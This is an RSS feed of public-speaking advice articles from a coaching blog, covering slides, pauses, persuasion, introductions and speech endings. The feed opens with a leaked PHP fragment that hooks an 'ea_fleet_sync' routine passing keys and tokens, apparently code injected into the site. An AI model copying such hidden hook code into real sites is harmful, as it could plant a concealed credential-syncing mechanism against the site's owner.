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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Impact Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/impact/ Public speaking Thu, 26 Jan 2023 12:00:33 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Coronavirus lessons for public speakers https://www.nowyouretalking.co.uk/2020/03/24/coronavirus-lessons-for-public-speakers/ Tue, 24 Mar 2020 17:32:25 +0000 https://www.nowyouretalking.co.uk/?p=1005 Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of…

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]]> Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of the things going on in public life and slogans adopted to communicate with us and keep us all safe during these challenging times.

1. Confusing messages have no impact

Sounds obvious, doesn’t it? But over the past few weeks, the UK has received unclear, indecisive messages about what to do in the face of the coronavirus crisis. Language such as ‘should’, ‘could’, ‘might’ is indefinite and confusing. If we want people to respond to our calls to action, we need to be precise and unambiguous.

To find your clear message, start at the end. What do you want your audience to think, feel or do after they’ve heard what you have to say? If you are clear about the answer, you will be able to articulate it in about 10 words. If you can’t, you need to strip back and reduce your ideas to their very essence. In the words of Albert Einstein:

“If you can’t explain it simply, you don’t understand it well enough.”

If you can then convert your message into an anchor phrase or ‘soundbite’ that encapsulates the content of your speech and is short, rhythmic and rhymes, then you have a memorable takeaway that will make your words live on long after you have finished speaking. For example, ‘failing to prepare is preparing to fail’, ‘women’s rights are human rights’, ‘I have a dream…’

2. Expertise brings credibility

We are repeatedly being told that decisions about coronavirus are being led by science and the expertise of scientists. We are persuaded by their expertise. Aristotle told us that there are three elements to delivering a persuasive message – Ethos (our credibility as speakers), Logos (evidence, facts and figures that need to be explored), and Pathos (emotional engagement with your audience). The combination of these three is key. Consider how, for instance, the ‘facts’ of science are being infused with more emotional messages about the need for us to be responsible to save lives.

As speakers, we need to establish our credibility. This doesn’t mean that only people who have been doing it for years or are famous are eligible to speak. Indeed, time alone is often a poor reason to speak, especially if the message doesn’t evolve and reflect current challenges. Speaking is an opportunity and your expertise, experience or involvement in a project are your authority, your credibility. Make sure you or your meeting host establish your credibility from the outset and don’t forget to dress accordingly to reinforce that position.

3. Get personal and active

If you want people to pay attention to, and act on, what you’re saying, you need to make it personal. ‘You’ is the magic word. ‘You’ is inherently inclusive and individual at the same time. Its use instantly includes everyone in the audience and speaks to each person as an individual, so that they feel as if you are speaking directly to them.

Dial up the number of times you use the word. Barak Obama had this down to a fine art when it came to connecting with his listeners. In his 2012 presidential election victory speech, Obama used the personal pronoun ‘I’ 36 times. In stark contrast, he used ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

The official line has been passive and slow to get to the point. Phrases like “You should work from home” and “social distancing” are vague and flat. If we want people to do something, we need to give people a reason, make it personal so that they can see the benefit and speak in the more immediate and present style of the active voice. Fortunately, the world of hashtags is more dynamic, active and to the point #WFH #WorkFromHome #StayHome #StaySafeSaveLives #KeepYourDistance.

4. We will get through this!

There’s a conviction being conveyed that, together, we will overcome coronavirus. This belief is helpful when it comes to managing our nerves and building our confidence as speakers. Being nervous is completely normal and you are not alone. As Mark Twain observes:

“There are two types of speakers. Those who get nervous and those who are liars.”

Not only are nerves part of being human, speaking is a learnable skill and we can learn to channel our nerves into the energy we need to speak in front of an audience. To help us do this, I have developed the PRO apPROach to befriending our nerves:

  • Bring a sense of PROportion to our speaking, taking our foot off the panic pedal and working through what it is that frightens us; how we can prevent these fears becoming a reality and any damage limitation if they do; the costs of not speaking for our personal profile, careers, businesses, etc and the significant benefits of having a go.
  • PROgram your brain away from the adrenaline-rushing, survival, primordial response to the idea of public speaking so that you can learn to recognise it as something ’we will get through’ and, over time, enjoy. Move the spotlight onto your audience and think of yourself as giving them something of value. Try to talk about things that matter to you and your audience so that your enthusiasm shines through and celebrate your success every time you give a speech or presentation. It’s a big deal. You can think about improvements later. PROgram a ‘pat on the back’ and reduce the survival response.
  • Embrace a PROcess of incremental improvements. Start with small audiences. Practise at every opportunity. Now is a great time with all these online meetings and gatherings. Identify specific skills you want to work on and invite feedback so that the process is always one of ongoing learning and growth.

5. ‘Don’t touch your face!’ and other non-verbal signals

This is a great tip from a body language perspective. When we touch our faces as speakers, we make our audience wonder what we have to hide. Any trust we have built up will be undermined. Keep your hands away from your face and use them with purpose to reinforce your words.

Essentials of body language online include a heartfelt smile and steady eye contact. But don’t forget to maintain a good posture. It’ll make you feel more confident and send that to your audience. Similarly, if you are sitting, use an office-type chair and adopt an upright position. I see a number of people sitting forward in a chair and then they begin to sway to and fro. This makes them look nervous and is highly distracting. Similarly, if you’re standing, plant yourself firmly, soften your knees and lean slightly into the balls of your feet for additional energy. Dial down movement, when you’re online, you’re effectively on the ‘small screen’ and large gestures can overwhelm or distract.

6. In this together

Speaking at its most impactful is an outcome of co-creation between speaker and audience. It’s not about a speaker talking AT their audience, but rather having a conversation WITH them. Conversation is a two-way, negotiated experience.

At the moment, we’re seeing a lot more kindness and humanity, so now is a great time to have a go. Interact with your audience – ask them questions, mirror their body language, tap into their reactions. Invite their input on the spot and see where it takes you.

7. And a final thought… how do you stand out online when everyone has moved there?

It was already difficult to stand out in the world of social media, where so many people are creating and sharing content. Now, more than ever, you need to find ways to attract attention. Consider, for instance:

  • How you can bring a fresh twist to your content. You might adopt a different perspective or discipline. If, for instance, you’re a neuroscientist, what can a musician bring to your message (eg David Eagleman and Anthony Brandt)?
  • Explore your ideas through play and see how your message or theory evolves.
  • Tell a relevant personal story or share your personal vision.

And, of course, bring interesting vocal stylings to your delivery in terms of variety of pace, pitch, volume, pausing. If you’re in any doubt about you vocal skills, try reading a story to a child, they’ll soon let you know if you’re not up to scratch!

Now you’re talking in the time of coronavirus! I’d love to hear about the coronavirus lessons for public speakers you are reminded of at this time.

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]]> You’re so much more than your business card – introduce yourself with impact https://www.nowyouretalking.co.uk/2020/01/05/make-an-impact/ Sun, 05 Jan 2020 19:26:50 +0000 https://www.nowyouretalking.co.uk/?p=966 You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Meetings have increased in length and…

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]]> You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Meetings have increased in length and frequency over the past 50 years, with all manner of questions around their value and how to make them more effective. What hasn’t changed, however, is the need to introduce yourself in a way that makes an impact. Introductions matter.

Introduce yourself with impactThis is an opportunity to make a good impression. Yet for many of us, our nerves are overwhelming and we don’t hear a word anyone else says. Worse, when we feel like this, our brain isn’t thinking at full capacity and we can become lost for words. Sound familiar? As your turn to speak gets closer and closer, your heart pounds louder and louder. At the same time, your breathing may become increasingly shallow as you stress about what to say. You’re not alone.

Blocking out other participants may buy you time to compose a fabulous introduction about you. But it denies you the opportunity to learn about your fellow meeting attendees. You know nothing about why they are in the meeting, their role and needs or how best to connect with them. In short, your nerves mean you miss out on tips about how to engage with them, persuade them or make a positive impression.

Women in particular often tell me they get really nervous introducing themselves, be it in a meeting or in networking situations. The result is that they miss out. They might avoid networking opportunities. They might miss what others are saying as they worry about what they’re going to say or that other people might question their authority to speak. But it’s not just women who miss out. By taking the ‘silent’ option, we all miss out on women’s thoughts and ideas, ie the thoughts and ideas of half the population.

But it doesn’t have to be this way. Here are four steps to help you craft your introduction and make an impact.

Impromptu doesn’t have to be impromptu

Consider the words of Mark Twain:

“I … never could make a good impromptu speech without several hours to prepare it.”

Or Winston Churchill’s admission that “I’m just preparing my impromptu remarks”.

Like these great orators, you should prepare what you want to say in your introduction and practise so that you can deliver it in a conversational and engaging way.

And if someone does ask you something unexpected or a follow-up question, think ‘PREP’ as a way of professionally structuring your response in a clear and engaging manner. Give your overall Point of view on the question/subject; your headline if you like. Follow this with a Reason for your opinion, illustrate with an Example and wrap up by summarising your main Point.

For instance, [P] I think everyone should learn to speak in public [R] because it’s a skill that builds confidence and benefits us in our work and private lives. [E] It breaks my heart when I hear stories about people passing up their dream job rather than facing their fear of speaking in public. In fact, four in five respondents (83%) in the Now You’re Talking Speaker Survey, said that giving a talk or presentation has helped their career. [P] Learning to speak in public can transform your life.

Don’t be afraid to use notes and still make an impact

If you prepare your opening remarks in advance, you are free to focus on what others are saying. However, there is nothing wrong with using notes until you become more confident and relaxed in your meetings. Jot down what people say about themselves as they offer their introduction so you can mention them in your own introduction if appropriate.

In addition, for your own input, take a small index card with bullet points of what you want to say.

You might even volunteer to go first, although that may be out of your control and determined by where you’re sitting. By going first, you get the fear out of the way, then you can relax and benefit from listening to others’ introductions.

Craft your content to make an impact

Keep introductions short and sweet. Remember less is more – under a minute, maybe even 30 seconds. Don’t waste these precious seconds with apologies or platitudes; cut to the chase. Give people:

  • Your name
  • Your purpose in the meeting – your contribution or expertise. This is your pitch, your chance to tell people what you want them to know about you and how you can help or make a difference. Don’t just give them your company and job title – they can get that from your business card. Share with them what they can expect from you in the meeting, what makes you stand out
  • A short, relevant and attention-grabbing (may even be humorous) personal story/anecdote about your purpose that connects with the people in the room and helps them remember you. Share, for instance, a story that tells them what makes you tick and how they will benefit from engaging with you.

Remember, this is not about you giving a perfect speech. This is about making an impact and connecting with the people around the table who want to know about you – speakers’ highest priority when they are talking in public (Now You’re Talking Speaker Survey). They are interested in who you are and what makes you tick. Your introduction is about giving them what they need, answering their question “What’s in it for me?” By repositioning your introduction as a relevant gift to your audience, you shift the spotlight away from you and focus it on the people you are connecting with – the others in the meeting.

Once you have crafted your introduction, you can use it at all sorts of meetings. However, you might want to vary your purpose and anecdotes to keep it fresh and relevant to the specific meeting.

Dial up your delivery

In the meeting, take your time. Take a nice deep breath in so that you can feel the air moving your ribs. Make a controlled breath out. Make eye contact with other people in the room. As you speak, maintain eye contact for a few words before moving to someone else. Eye contact is important because it demonstrates your sincerity and builds trust with your audience.

In western cultures, a big smile and high energy will ensure you come across as confident, engaging and enthusiastic. Speak up and speak clearly. Remember to uncross your arms and present a friendly, open posture. You may even  lean slightly forward towards fellow meeting participants to reinforce your interest in them and the meeting.

Conclusion

Meetings might just be your new best friend, a goldmine, offering you the opportunity to practise ways to make an impact when yo introduce yourself.

But meetings can be even more. With so many of them going on, think of meetings as your speaking practice ground. Draw up your own personal plan to finesse your speaking skills and roll it out in the meetings you attend because if speaking is nothing else, it should always be a work in progress:

“There are always three speeches, for every one you actually gave. The one you practiced, the one you gave, and the one you wish you gave.”
Dale Carnegie

Now you’re talking! Make an impact. Have a great meeting

First published by Network She

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]]> Pause with purpose for meaning, clarity and impact https://www.nowyouretalking.co.uk/2019/04/04/pause-with-purpose/ Thu, 04 Apr 2019 15:29:07 +0000 https://www.nowyouretalking.co.uk/?p=867 Pause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.” I love…

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]]> Pause buttonPause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.”

I love a good pause and there are many to choose from, each with its own particular purpose and impact.

Opening pause

This is my favourite and brings a number of important benefits:

First, saying nothing is attention grabbing, it won’t be long before your audience realises no one is talking and will stop what they are doing or thinking about and focus on you. Second, and a related benefit, your silence will pique their curiosity and make them wonder what will happen next. Third, you have the silent time to calm yourself, take a few deep breaths and ready yourself to speak. Fourth, this opening time allows you to gauge the room and get a sense of how the audience is feeling and whether you need to make any adjustments to, for instance, energy levels, engagement, interaction, etc.

To maximise the impact of the opening pause, it needs to last at least five seconds and be delivered with confidence, including a solid and stable stance and good eye contact with your listeners/audience.

Filler-free pause

Er, um, like and other little sounds that can creep into our speech, especially when we are nervous. The odd one here and there gives a sense of spontaneity and a relaxed, conversational style. However, too many can be annoying and even distract an audience from listening to what you have to say.

Taking a small breath will help you reduce the ers and ums and come across with greater clarity and confidence.

Creative pause

If you invite the audience to imagine, reflect, picture or create an image or situation, give them time to do that. They will conjure up their version of what you are asking them to imagine/picture, etc. This is not only much more vivid than you describing in great detail a scene from your life, but it also enables people to join you in your story, using their frameworks and experiences.

Reflective pause

When you are presenting some difficult or unfamiliar ideas, give your audience time to absorb what you have said. In similar vein, if you ask them a question (even a rhetorical question) or ask them to think about something, such as a choice, give them time to consider and decide where they stand.

Punchline pause

Pauses are an essential part of creating humour in a speech. This is especially the case with humour built on misdirection. This involves telling a joke, story or anecdote in a way that misdirects your audience to anticipate the next line. While you pause they complete the joke as they expect it to end. You then deliver a different outcome, surprising the audience and (hopefully) making them laugh. Without the pause, the listener doesn’t have time to consider what they expect you to say and the humorous moment is lost.

Dramatic pause

This is especially powerful in storytelling. By pausing, you heighten the tension in your story and keep your listeners fully engaged as they long to hear the outcome.

And, critically, don’t forget to remain silent while your audience laughs. If you cut them off by speaking over the laughter, the chances are that they won’t laugh again and you will have severed a compelling connection.

Punctuation pause

When you write, you punctuate with commas, full stops, etc. This invisible punctuation needs to be audible when we speak otherwise we can sound as if our words are running away with us. Some short pauses add to the clarity and control of your narrative.

Emphatic pause

If you want to bring some additional weight or gravitas to a word, phrase or point, pause and then speak at a lower pitch and slower pace. The silence signals the start of something different and the change in pitch and pace indicates the nature of the differentiation.

Word-congruent pause

Very similar to an emphatic pause, congruency uses pauses to reinforce words. For instance, “Hesitatingly [breathe], he moved forward” or “Wracked with pain, she paused [breathe] …” before continuing to speak.

Show-me pause

A picture paints a thousand words. As the speaker, you can become the picture and use facial expression to show your audience exactly how you feel about something. A pause while you show them is generally far more evocative and memorable than using narrative to describe the feeling.

Visual aids pause

For most of us, vision is our primary sense. This means that if you put up slides or other visual aids, we are more likely to look or read than to listen. As such, if you speak at this time, your words will almost certainly fall on deaf ears. Keep silent while people absorb the visuals and then continue with what you have to say.

Pause for thought

This is a moment you take to think about what you want to say when you find yourself faced with impromptu questions, eg Q&A, panels, job interviews, untabled questions in a meeting, etc. By pausing, you buy yourself some time to think about what you want to say and how you want to say it.

Petrified pause

So many ways to pause with purpose, but there is one that you don’t want in your speeches or presentations and that’s the petrified pause. Sometimes, when we’re really nervous, we can find our brain freezing and we simply can’t think what to say. Anxiously pausing and searching for words conveys a lack of confidence and perhaps a lack of preparation as well. In this situation, it is important to do some work on managing your nerves so that they generate positive energy for your talk.

Fortunately, pausing with purpose is generally powerful and positively impacts your speeches and presentations. The challenge is to deliver these pauses.

Practise pausing

When we are nervous, we tend to speak too quickly and pauses simply don’t happen. We need to get comfortable with using them. What feels like eternity from your standpoint in front of an audience, feels like no time at all to everyone else in the room.

When you are preparing and practising a speech or presentation, try to insert pauses and the appropriate length for each one. When you pause, count the number of seconds you have allowed. Record yourself and play back to see how long those silences really sound. Could some of them be longer to achieve their purpose? With practise, you will come to enjoy the impact of pausing with purpose.

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]]> Contrast is key to powerful persuasion https://www.nowyouretalking.co.uk/2018/10/30/contrast-is-key-to-powerful-persuasion/ Tue, 30 Oct 2018 14:52:43 +0000 https://www.nowyouretalking.co.uk/?p=524 Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps…

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]]> Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps you ensure your message stands out.

Here are five opportunities for contrast when giving a persuasive speech or presentation:

Contrast

1. Contrast in the opening of your speech

Your opening needs to stand out and grab your audience’s attention so that they are focused on you and what you have to share with them, not thinking about the day they’ve had, what to cook for dinner or anything else that pops into their mind.  A polite, but innocuous platitude, such as “Hello, thank you for inviting me …” wastes those precious opening seconds when you need to make an impact and connect with your audience (the first step in persuasion).

A pause.  A smile.  Both are hard to pull off when you’re nervous, but dramatic in their impact.  Everyone warms to a genuine smile.  And a pause draws attention from whatever people are thinking about to focus on you and wonder what you will be sharing with them.

To keep their attention, open with a startling statistic, a personal anecdote (we all love a story), or a relevant quote from someone significant to your audience eg an industry expert or a famous person/historic figure.

 2. Contrast in content

In most business communication, the goal is to persuade your audience to adopt your call to action.  This might be to buy your sales pitch, affirm your recommendations, recommend you to others, etc.  Effective persuasion requires contrast in content.

Evidence-based information, eg statistics, track record or citation of a reinforcing quote from a relevant expert drive credibility, authority and recognition of your expertise.  However, these alone are not enough to persuade.  You need to contrast this ‘rational’ and ‘functional’ information with more emotive content that helps to build trust and relationships; connections with your listeners.  Here, storytelling and anecdotes come into their own.  They may reveal something about you as a person, what you are like to work with, your motivations and so on.  They are your chance to demonstrate your passion and enthusiasm for the case in hand.

Juxtaposed, the contrast of functional and emotive content can bring even greater potency to your message.

3. Contrast of language and words

Rich and colourful vocabulary stands out.  It works well in a speech or presentation in a way it might not in an everyday conversation.  We need to avoid words that are so obscure or jargonistic that people cannot understand and that is why it’s important to know your audience.  However, when we use rich language, it stands out as different and erudite, enhancing our credibility and authority as speakers.  For instance, instead of  ‘say’, try mutter, mumble, shout, whisper, etc.  They all communicate much more than just ‘saying’; they relate both the the act of saying and additionally convey the manner of that articulation.

Over and above words, we have rhetorical devices to contrast from everyday speech, for instance:

  • Alliteration, eg colourful contrasts communicate, startling statistic
  • Metaphor, an expression that describes a person or object by referring to something regarded as having similar characteristics, eg the city is a jungle, broken heart, bubbly personality
  • Repetition or ‘anaphora’ to give it its formal title appears in many speeches by public figures. One of my personal favourites is from Malala’s Nobel acceptance speech when she says:

“Let this be the last time that a girl or a boy spends their childhood in a factory.
Let this be the last time that a girl is forced into early child marriage.
Let this be the last time that a child loses life in war.
Let this be the last time that we see a child out of school.”

  • The rule of three pervades formal speeches, fairy stories, film titles, comedy.  Examples proliferate and you probably have your own favourites. One example I like is from Lewis Carroll’s Through the Looking Glass:

“The rule is: jam tomorrow, and jam yesterday, but never jam today”

Rhetorical devices like these give emphasis and colour, creating engaging and contrasting content.

4. Contrast of voice and body

I’m sure you’ve experienced the misery of the monotone. It’s hard to stay focused on a voice that drones on relentlessly, without any kind of variety of pitch, pace, volume, etc.  A voice that goes faster and slower, louder and quieter, harsher and softer, higher and lower is interesting.  That colour and contrast brings meaning and interest to our words and makes a greater impact.  For instance, if you say “the words tripped lightly off the tongue …”, you will render them more memorable if you use a short, staccato, light enunciation, using a faster pace that, combined, suggest the movement of the words themselves.

While you are talking, think about how you can use contrasting body language and gestures to give emphasis to your words.  If your hands and arms are constantly flailing around, you deny yourself the opportunity to use gestures. For example: to indicate height, position your hand to the relevant height, to indicate inclusion, use an all-encompassing sweep across your audience or wide arms coming together in a large, encircling gesture

 

To give your gestures impact, keep your arms relaxed and hanging loosely by your side and then move them when you want to reinforce a point.  Next time you are watching a play, note how the actors use gestures.

5. Contrasting stage positions

It is, without doubt, important to take a solid stance on stage because it conveys confidence.  A speaker shuffling about makes us feel uncomfortable and nervous and much less likely to be persuaded.  That’s not to say that you have to stay fixed in that position. Different parts of the stage can represent different locations, different points in time.  For instance, audience left for the past and audience right for the future.  When you change position, the audience travels with you to that time, place, etc.  The point is that these contrasting positions should always be taken with purpose, to reinforce your message.

Contrast is the light and shade, the interest, the difference that makes your speech or presentation stand out and helps your audience better remember your message.  To hold attention and persuade, contrast is crucial.

Recently published at:

Lid Radio

Empowered Business Magazine May 2018 pp21-22

Small Business Insider

 

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]]> Happy endings – how to end your speech with impact https://www.nowyouretalking.co.uk/2017/11/24/happy-endings-how-to-end-your-speech-with-impact/ Fri, 24 Nov 2017 17:13:17 +0000 https://www.nowyouretalking.co.uk/?p=314 Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions. She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word. And then it…

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]]>

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And then it came to the conclusion, the ‘thank-you-for-listening, my-time-seems-to-be-up’ damp squib. Such a disappointing close and such a missed opportunity.

Call to action

Conclusions are the speaker’s opportunity to craft what they want their audience to remember tomorrow and take action on. It is the speaker’s opportunity to reaffirm their authority as someone with a message to share and one that is worth hearing. It is for this reason that many speakers believe the ending is the most important part of a speech.

Well-crafted final words will stick in people’s minds. This is partly the psychological recency effect and partly the result of a well-structured speech that ends with a fitting conclusion. For this reason it’s best to avoid wishy-washy endings:

  • Apologising for not covering everything you hoped to cover
  • Saying “Thank you for listening”
  • Empty pleasantry such as “It was a pleasure to be here”
  • Closing with the answer to a random question from the audience.

At the end of a speech, the conclusion enables you to summarise your key message and deliver a call to action. So, how can you end with a bang, not a Facunda-style whimper? How can you create happy endings?

Your conclusion should signal the end, but it is not just a final sentence. As a general rule of thumb, it should be about 10-15% of your speech. As soon as you start to summarise/review your main ideas, the audience understands that the speech is coming to an end. This removes the need for words like ‘in conclusion’ or ‘finally’. If you feel using this kind of signal to your audience is helpful, make sure you mean it; don’t ramble on or add new points.

There are a host of ways to end your presentation with a bang. They all strive to help you achieve impact, memorability, engagement and commitment.

Creating impact

As speakers, you want to influence your audiences. You are seeking to inform, persuade or inspire. You are trying to influence their knowledge, behaviour, attitudes, opinions and even beliefs. You need to crystallise your message and activate your audience. To create this level of impact, there are many techniques at your disposal that help produce compelling and impactful conclusions.

For example:

  • Reinforce your overall purpose

Make sure the purpose of your speech is reinforced and crystal clear in the ending. Think of this in terms of both content and style of delivery. If you say something inspiring your body language must mirror this – no awkward slouching but strong upright posture

  • Use delivery to emphasise importance

Be clear in articulating your key message. Harness your vocal variety, tone of voice, passion and enthusiasm – SAMENESS is the biggest enemy of the speaker; change energy, pace, etc. Difference indicates importance

  • Summarise using key questions

You might summarise in the tried-and-tested form of “Tell ‘em what you’re going to tell ‘em. Tell ‘em. Tell ‘em what you’ve told ‘em”. Consider using rhetorical questions based on your core premise to set up your summary of your key messages.   The key messages will be the answers to those questions

  • End with a powerful quote

Use a powerful and relevant quotation from an historic figure, business icon, etc. that resonates with your audience

  • A final strong statement

Make your final sentence the takeaway that encapsulates the overall theme, your main message and any call to action. Ensure it is a statement that underlines your authority and belief in your message.

Achieving memorability

As speakers, you want audiences to remember what you say, to share your pearls of wisdom and have a real impact on them:

  • Top speakers use anchor phrases to help them be memorable and repeatable or quotable. For Martin Luther King it was “I have a dream”. It’s a few words your audience will associate with you and your message. When your catchy, rhythmic phrase pops into their mind, the rest of your speech will be reactivated. It can contain the title of your speech or evolve during the speech, but it will help your audience remember your speech tomorrow and beyond. If your concluding remarks do not align with your anchor phrase, then they have no business in your conclusion, nor, indeed, in your speech!
  • Go further and cause conversation through controversy, humour, and/or great stories. Leave them thinking
  • Rhythm and repetition can both help to build memorability and impact, especially with an injection of appropriate humour
  • Bring the speech full circle by using ‘callbacks’ to your opening remarks or stories. By revisiting a story told earlier in your speech, you create memorability and provide the audience with triggers to recall your main message and serve as a powerful aide memoire
  • Use a relevant prop or image during your speech – one that will serve as a trigger. If you use it at the end of your speech your key message will be reinforced and will stick in people’s minds.

Building engagement and commitment

This is key to encouraging your audience to take action, particularly in any persuasive or inspirational speech:

  • When you speak, you lock into the ideas, information and beliefs that your audience members already have in their mind. And the conclusions are the reaffirmation of those thoughts and ideas. What’s in it for the listener and what you want them to do
  • Use personal stories and anecdotes to engage powerfully with your audience, while using a ‘callback’, to create familiarity and a warm connection with your listeners
  • Invite your audience to take up or consider any call to action you make. Tone of voice is crucial. If you want people to do something as a consequence of experiencing your speech, you need to persuade them and invite them in both your closing words and the manner of their delivery. Telling and instructing may break the connection you have created. Reconnect them with your stories and your central theme
  • Alternatively, take the words of an historic figure or other relevant person and invite the audience to do as they have done
  • Is your audience made up of people from the same organisation or do they share a common interest? Referencing a publication or a quotation that resonates with them will create a connection with you and your call to action
  • Show them your call to action as a solution to an issue, problem or challenge. Show them the benefits to them of embracing your call to action. Show them your commitment and enthusiasm.

Typewriter

In conclusion

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And when it came to the conclusion, the audience was on its feet, cheering for more, queueing to be a part of the call to action, sharing Facunda’s stories and observations.

What a happy ending!

 

This article appeared in thought-leadership.top-consultant.com

Recently republished in lidradio.com

 

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